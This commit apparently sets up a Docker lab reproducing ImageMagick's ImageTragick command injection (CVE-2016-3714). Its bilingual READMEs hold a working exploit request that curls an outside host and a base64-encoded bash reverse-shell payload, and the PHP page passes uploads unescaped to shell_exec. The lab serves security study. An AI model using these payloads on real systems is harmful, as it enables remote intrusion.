first commit

imagemagick/CVE-2016-3714/README.md

@@ -0,0 +1,64 @@
+# ImageMagick Imagetragick Command Injection (CVE-2016–3714)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+ImageMagick is a free and open-source cross-platform software suite for displaying, creating, converting, modifying, and editing raster images.
+
+In ImageMagick version before 6.9.3-9, insufficient filtering for filename passed to delegate's command allows remote code execution during conversion of several file formats. The CVE-2016-3714 is also called "imagetragick".
+
+References:
+
+- <https://imagetragick.com>
+- <https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html>
+- <https://github.com/ImageTragick/PoCs>
+
+## Environment Setup
+
+Execute the following command to start a PHP server that includes ImageMagick 6.9.2-10:
+
+```
+docker compose up -d
+```
+
+## Exploit
+
+Visit `http://your-ip:8080/` to see an upload component.
+
+Send the following request:
+
+```
+POST / HTTP/1.1
+Host: localhost:8080
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
+Connection: close
+Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymdcbmdQR1sDse9Et
+Content-Length: 328
+
+------WebKitFormBoundarymdcbmdQR1sDse9Et
+Content-Disposition: form-data; name="file_upload"; filename="1.gif"
+Content-Type: image/png
+
+push graphic-context
+viewbox 0 0 640 480
+fill 'url(https://127.0.0.0/oops.jpg"|curl "www.leavesongs.com:8889)'
+pop graphic-context
+------WebKitFormBoundarymdcbmdQR1sDse9Et--
+```
+
+It can be seen that `www.leavesongs.com:8889` has received the http request, after the curl command was executed successfully:
+
+![](2.png)
+
+POC of getting a reverse shell：
+
+```
+push graphic-context
+viewbox 0 0 640 480
+fill 'url(https://127.0.0.0/oops.jpg?`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzQ1LjMyLjQzLjQ5Lzg4ODkgMD4mMQ== | base64 -d | bash`"||id " )'
+pop graphic-context
+```
+
+![](3.png)

imagemagick/CVE-2016-3714/README.zh-cn.md

@@ -0,0 +1,62 @@
+# ImageMagick Imagetragick 命令注入漏洞（CVE-2016–3714）
+
+ImageMagick是一款使用量很广的图片处理程序，很多厂商都调用了这个程序进行图片处理，包括图片的伸缩、切割、水印、格式转换等等。
+
+在ImageMagick版本6.9.3-9之前，对文件名传递给委托的命令过滤不足，导致在转换多种文件格式时存在远程代码执行漏洞。这个漏洞也被叫做“imagetragick”。
+
+参考链接：
+
+- <https://imagetragick.com>
+- <https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html>
+- <https://github.com/ImageTragick/PoCs>
+
+## 漏洞环境
+
+执行如下命令启动一个包含了Imagemagick 6.9.2-10的PHP服务器：
+
+```
+docker compose up -d
+```
+
+## 漏洞复现
+
+访问`http://your-ip:8080/`即可查看到一个上传组件。
+
+发送如下数据包：
+
+```
+POST / HTTP/1.1
+Host: localhost:8080
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
+Connection: close
+Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymdcbmdQR1sDse9Et
+Content-Length: 328
+
+------WebKitFormBoundarymdcbmdQR1sDse9Et
+Content-Disposition: form-data; name="file_upload"; filename="1.gif"
+Content-Type: image/png
+
+push graphic-context
+viewbox 0 0 640 480
+fill 'url(https://127.0.0.0/oops.jpg"|curl "www.leavesongs.com:8889)'
+pop graphic-context
+------WebKitFormBoundarymdcbmdQR1sDse9Et--
+```
+
+可见，`www.leavesongs.com:8889`已经接收到http请求，说明curl命令执行成功：
+
+![](2.png)
+
+反弹shell POC：
+
+```
+push graphic-context
+viewbox 0 0 640 480
+fill 'url(https://127.0.0.0/oops.jpg?`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzQ1LjMyLjQzLjQ5Lzg4ODkgMD4mMQ== | base64 -d | bash`"||id " )'
+pop graphic-context
+```
+
+![](3.png)

imagemagick/CVE-2016-3714/docker-compose.yml

@@ -0,0 +1,9 @@
+version: '2'
+services:
+ web:
+   image: vulhub/imagemagick:6.9.2-10-php
+   command: php -t /var/www/html -S 0.0.0.0:8080
+   volumes:
+    - ./index.php:/var/www/html/index.php
+   ports:
+    - "8080:8080"

imagemagick/CVE-2016-3714/index.php

@@ -0,0 +1,21 @@
+<?php
+
+if (!empty($_FILES)):
+
+$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
+if (!in_array($ext, ['gif', 'png', 'jpg', 'jpeg'])) {
+    die('Unsupported filetype uploaded.');
+}
+
+$size = shell_exec("identify -format '%w x %h' {$_FILES['file_upload']['tmp_name']}");
+
+echo "Image size is: $size";
+
+else:
+?>
+<form method="post" enctype="multipart/form-data">
+    File: <input type="file" name="file_upload">
+    <input type="submit">
+</form>
+<?php
+endif;